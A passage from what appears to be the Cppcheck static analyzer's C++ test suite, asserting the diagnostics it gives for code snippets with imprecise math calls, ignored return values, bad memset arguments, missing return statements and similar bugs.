[unpreciseMathCall]\\n\"\n \"[test.cpp:4:11]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(exp(x) - 1.0);\\n\"\n \" print(log(1.0 + x));\\n\"\n \" print(1.0 - erf(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:12]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(exp(3 + x*f(a)) - 1);\\n\"\n \" print(log(x*4 + 1));\\n\"\n \" print(1 - erf(34*x + f(x) - c));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:11]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(2*exp(x) - 1);\\n\"\n \" print(1 - erf(x)/2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkIgnoredReturnValue() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings2 = settingsBuilder().severity(Severity::warning).libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" foo::mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:8]: (warning) Return value of function foo::mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" foo x;\\n\"\n \" x.mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Return value of function x.mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"bool mystrcmp(char* a, char* b);\\n\" // cppcheck sees a custom strcmp definition, but it returns a value. Assume it is the one specified in the library.\n \"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void mystrcmp(char* a, char* b);\\n\" // cppcheck sees a custom strcmp definition which returns void!\n \"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" class mystrcmp { mystrcmp() {} };\\n\" // strcmp is a constructor definition here\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return foo::mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(mystrcmp(a, b));\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" bool b = mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6194\n check(\"void foo() {\\n\"\n \" MyStrCmp mystrcmp(x, y);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6197\n check(\"void foo() {\\n\"\n \" abc::def.mystrcmp(a,b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6233\n check(\"int main() {\\n\"\n \" auto lambda = [](double value) {\\n\"\n \" double rounded = floor(value + 0.5);\\n\"\n \" printf(\\\"Rounded value = %f\\\\n\\\", rounded);\\n\"\n \" };\\n\"\n \" lambda(13.3);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6669\n check(\"void foo(size_t size) {\\n\"\n \" void * res{malloc(size)};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7447\n check(\"void foo() {\\n\"\n \" int x{mystrcmp(a,b)};\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7905\n check(\"void foo() {\\n\"\n \" int x({mystrcmp(a,b)});\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // don't crash\n \" DEBUG(123)(mystrcmp(a,b))(fd);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n check(\"struct teststruct {\\n\"\n \" int testfunc1() __attribute__ ((warn_unused_result)) { return 1; }\\n\"\n \" [[nodiscard]] int testfunc2() { return 1; }\\n\"\n \" void foo() { testfunc1(); testfunc2(); }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" teststruct TestStruct1;\\n\"\n \" TestStruct1.testfunc1();\\n\"\n \" TestStruct1.testfunc2();\\n\"\n \" return 0;\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Return value of function testfunc1() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:4:31]: (warning) Return value of function testfunc2() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:8:17]: (warning) Return value of function TestStruct1.testfunc1() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:9:17]: (warning) Return value of function TestStruct1.testfunc2() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n // #9006\n check(\"template uint8_t b(std::tuple d) {\\n\"\n \" std::tuple c{std::move(d)};\\n\"\n \" return std::get<0>(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int x; };\\n\"\n \"template \\n\"\n \"A f(int x, Ts... xs) {\\n\"\n \" return {std::move(x), static_cast(xs)...};\\n\"\n \"}\\n\"\n \"A g() { return f(1); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8412 - unused operator result\n check(\"void foo() {\\n\"\n \" !mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:4]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" delete *v.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int __attribute__((pure)) p_foo(int);\\n\" // #12697\n \"int __attribute__((const)) c_foo(int);\\n\"\n \"void f() {\\n\"\n \" p_foo(0);\\n\"\n \" c_foo(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) Return value of function p_foo() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:5:5]: (warning) Return value of function c_foo() is not used. [ignoredReturnValue]\\n\",\n errout_str());\n }\n\n void checkIgnoredErrorCode() {\n const char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings2 = settingsBuilder().severity(Severity::style).libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Error code from the return value of function mystrcmp() is not used. [ignoredReturnErrorCode]\\n\", errout_str());\n }\n\n void memsetZeroBytes() {\n check(\"void f() {\\n\"\n \" memset(p, 10, 0x0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" memset(p, sizeof(p), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" memset(p, sizeof(p), i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6269 false positives in case of overloaded standard library functions\n check(\"class c {\\n\"\n \" void memset( int i );\\n\"\n \" void f( void ) {\\n\"\n \" memset( 0 );\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7285\n check(\"void f() {\\n\"\n \" memset(&tm, sizeof(tm), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n }\n\n void memsetInvalid2ndParam() {\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" memset(is, 1.0f, 40);\\n\"\n \" int* is2 = new int[10];\\n\"\n \" memset(is2, 0.1f, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (portability) The 2nd memset() argument '1.0f' is a float, its representation is implementation defined. [memsetFloat]\\n\"\n \"[test.cpp:5:18]: (portability) The 2nd memset() argument '0.1f' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" float g = computeG();\\n\"\n \" memset(is, g, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (portability) The 2nd memset() argument 'g' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" memset(is, 0.0f, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // FP\n \" float x = 2.3f;\\n\"\n \" memset(a, (x?64:0), 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short ss[] = {1, 2};\\n\"\n \" memset(ss, 256, 4);\\n\"\n \" short ss2[2];\\n\"\n \" memset(ss2, -129, 4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (warning) The 2nd memset() argument '256' doesn't fit into an 'unsigned char'. [memsetValueOutOfRange]\\n\"\n \"[test.cpp:5:18]: (warning) The 2nd memset() argument '-129' doesn't fit into an 'unsigned char'. [memsetValueOutOfRange]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int is[10];\\n\"\n \" memset(is, 0xEE, 40);\\n\"\n \" unsigned char* cs = malloc(256);\\n\"\n \" memset(cs, -1, 256);\\n\"\n \" short* ss[30];\\n\"\n \" memset(ss, -128, 60);\\n\"\n \" char cs2[30];\\n\"\n \" memset(cs2, 255, 30);\\n\"\n \" char cs3[30];\\n\"\n \" memset(cs3, 0, 30);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int is[10];\\n\"\n \" const int i = g();\\n\"\n \" memset(is, 1.0f + i, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (portability) The 2nd memset() argument '1.0f+i' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n }\n\n void checkMissingReturn1() {\n check(\"int f() {}\");\n ASSERT_EQUALS(\"[test.cpp:1:10]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n {\n const char code[] = \"int main(void) {}\";\n {\n const Settings s = settingsBuilder().c(Standards::C89).build();\n\n check(code, dinit(CheckOptions, $.cpp = false, $.s = &s)); // c code (c89)\n ASSERT_EQUALS(\"[test.c:1:17]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n {\n const Settings s = settingsBuilder().c(Standards::C99).build();\n check(code, dinit(CheckOptions, $.cpp = false, $.s = &s)); // c code (c99)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(code, dinit(CheckOptions, $.s = &s)); // c++ code\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n check(\"F(A,B) { x=1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"auto foo4() -> void {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void STDCALL foo() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void operator=(int y) { x=y; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \"back:\\n\"\n \" return 0;\\n\"\n \"ng:\\n\"\n \" x=y;\\n\"\n \" goto back;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unreachable code..\n check(\"int foo(int x) {\\n\"\n \" return 1;\\n\"\n \" (void)x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int x) {\\n\"\n \" if (x) goto out;\\n\"\n \" return 1;\\n\"\n \"out:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n // switch\n check(\"int f() {\\n\"\n \" switch (x) {\\n\"\n \" case 1: break;\\n\" // <- error\n \" case 2: return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" switch (x) {\\n\"\n \" case 1: return 2; break;\\n\"\n \" default: return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool test(unsigned char v1, int v2) {\\n\"\n \" switch (v1) {\\n\"\n \" case 0:\\n\"\n \" switch (v2) {\\n\"\n \" case 48000:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" default:\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // if/else\n check(\"int f(int x) {\\n\"\n \" if (x) {\\n\"\n \" return 1;\\n\"\n \" }\\n\" // <- error (missing else)\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" if (x) {\\n\"\n \" ;\\n\" // <- error\n \" } else {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (!0) {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (!0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n // loop\n check(\"int f(int x) {\\n\"\n \" while (1) {\\n\"\n \" dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return {..}\n check(\"std::pair typeDecl(int tok) {\\n\"\n \" if (!tok)\\n\"\n \" return {};\\n\"\n \" else\\n\"\n \" return {1, 2};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // noreturn function\n check(\"int f(int x) { exit(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { assert(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { if (x) return 1; else return bar({1}, {}); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"auto f() -> void {}\"); // #10342\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S1 {\\n\" // #7433\n \" S1& operator=(const S1& r) { if (this != &r) { i = r.i; } }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" S2& operator=(const S2& s) { if (this != &s) { j = s.j; } return *this; }\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"struct S3 {\\n\"\n \" S3& operator=(const S3& t) { if (this != &t) { k = t.k; return *this; } }\\n\"\n \" int k;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:61]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\"\n \"[test.cpp:10:75]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n // #11171\n check(\"std::enable_if_t f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::enable_if_t f() {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:51]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template std::enable_if_t{}, int> f(T) {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:71]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template std::enable_if_t{}> f(T) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typename std::enable_if::type f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typename std::enable_if::type f() {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:64]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template typename std::enable_if{}, int>::type f(T) {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:84]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template typename std::enable_if{}>::type f(T) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" [[noreturn]] void f();\\n\"\n \" int g() { this->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { [[noreturn]] void f(); };\\n\"\n \"int g(S& s) { s.f(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn2() { // #11798\n check(\"int f(bool const a) {\\n\"\n \" switch (a) {\\n\"\n \" case true:\\n\"\n \" return 1;\\n\"\n \" case false:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int main(int argc, char* argv[])\\n\"\n \"{\\n\"\n \" auto const b= f(true);\\n\"\n \" auto const c= f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn3() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" case C:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn4() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n void checkMissingReturn5() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e, bool b) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" case C:\\n\"\n \" switch (b) {\\n\"\n \" case true:\\n\"\n \" return 3;\\n\"\n \" case false:\\n\"\n \" return 4;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn6() {// #13180\n check(\"int foo(void)\\n\"\n \"{\\n\"\n \" i = readData();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n // NRVO check\n void returnLocalStdMove1() {\n check(\"struct A{}; A f() { A var; return std::move(var); }\");\n ASSERT_EQUALS(\"[test.cpp:1:45]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // RVO, C++03 ctor style\n void returnLocalStdMove2() {\n check(\"struct A{}; A f() { return std::move( A() ); }\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // RVO, new ctor style\n void returnLocalStdMove3() {\n check(\"struct A{}; A f() { return std::move(A{}); }\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // Function argument\n void returnLocalStdMove4() {\n check(\"struct A{}; A f(A a) { return std::move(A{}); }\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n void returnLocalStdMove5() {\n check(\"struct A{} a; A f1() { return std::move(a); }\\n\"\n \"A f2() { volatile A var; return std::move(var); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string msg{ \\\"abc\\\" }; };\\n\"\n \"std::unique_ptr get(std::vector>& v) {\\n\"\n \" return std::move(v.front());\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" std::vector> v;\\n\"\n \" v.emplace_back(std::make_unique());\\n\"\n \" auto p = get(v);\\n\"\n \" std::cout << p->msg;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string&& f() {\\n\" // #11881\n \" std::string s;\\n\"\n \" return std::move(s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void negativeMemoryAllocationSizeError() { // #389\n check(\"void f() {\\n\"\n \" int *a;\\n\"\n \" a = malloc( -10 );\\n\"\n \" free(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid malloc() argument nr 1. The value is -10 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *a;\\n\"\n \" a = alloca( -10 );\\n\"\n \" free(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (warning) Obsolete function 'alloca' called. [allocaCalled]\\n\"\n \"[test.cpp:3:17]: (error) Invalid alloca() argument nr 1. The value is -10 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void checkLibraryMatchFunctions() {\n /*const*/ Settings s = settingsBuilder(settings).checkLibrary().debugwarnings().build();\n s.daca = true;\n\n check(\"void f() {\\n\"\n \" lib_func();\"\n \"}\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (information) --check-library: There is no matching configuration for function lib_func() [checkLibraryFunction]\\n\", errout_str());\n\n check(\"void f(void* v) {\\n\"\n \" lib_func(v);\"\n \"}\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (information) --check-library: There is no matching configuration for function lib_func() [checkLibraryFunction]\\n\", errout_str());\n\n // #10105\n check(\"class TestFixture {\\n\"\n \"protected:\\n\"\n \" bool prepareTest(const char testname[]);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class TestMemleak : private TestFixture {\\n\"\n \" void run() {\\n\"\n \" do { prepareTest(\\\"testFunctionReturnType\\\"); } while (false);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void testFunctionReturnType() {\\n\"\n \" }\\n\"\n \"};\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11183\n check(\"#include \\n\"\n \"\\n\"\n \"extern void cb(const std::string&);\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" cb(std::string(\\\"\\\"));\\n\"\n \"}\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:5]: (information) --check-library: There is no matching configuration for function cb() [checkLibraryFunction]\\n\", errout_str());\n\n // #7375\n check(\"void f() {\\n\"\n \" struct S { int i; char c; };\\n\"\n \" size_t s = sizeof(S);\\n\"\n \" static_assert(s == 9);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char) {}\\n\"\n \"void g() {\\n\"\n \" f(int8_t(1));\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::uint64_t& u) {\\n\"\n \" u = std::uint32_t(u) * std::uint64_t(100);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { throw(1); }\\n\", dinit(CheckOptions, $.s = &s)); // #8958\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using namespace std;\\n\"\n \"void f() { throw range_error(\\\"abc\\\"); }\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\" // #9002\n \"public:\\n\"\n \" static int f() { return 1; }\\n\"\n \"};\\n\"\n \"void g() { C::f(); }\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #11223\n \" for (const auto& s : v)\\n\"\n \" s.find(\\\"\\\");\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Return value of function s.find() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto* p = new std::vector(5);\\n\"\n \" p->push_back(1);\\n\"\n \" auto* q = new std::vector{ 5, 7 };\\n\"\n \" q->push_back(1);\\n\"\n \" auto* r = new std::vector;\\n\"\n \" r->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto p = std::make_shared>();\\n\"\n \" p->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" it->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto v = std::vector{};\\n\"\n \" v.push_back(1);\\n\"\n \" auto w = std::vector{ 1, 2, 3 };\\n\"\n \" w.push_back(1);\\n\"\n \" auto x = std::vector(1);\\n\"\n \" x.push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto p(std::make_shared>());\\n\"\n \" p->push_back(1);\\n\"\n \" auto q{ std::make_shared>{} };\\n\"\n \" q->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:2:5]: (debug) auto token with no type. [autoNoType]\\n\"\n \"[test.cpp:4:5]: (debug) auto token with no type. [autoNoType]\\n\"\n \"[test.cpp:3:8]: (information) --check-library: There is no matching configuration for function auto::push_back() [checkLibraryFunction]\\n\"\n \"[test.cpp:5:8]: (information) --check-library: There is no matching configuration for function auto::push_back() [checkLibraryFunction]\\n\",\n errout_str());\n\n check(\"struct F { void g(int); };\\n\"\n \"void f(std::list& l) {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l.begin(); it != l.end(); ++it)\\n\"\n \" it->g(0);\\n\"\n 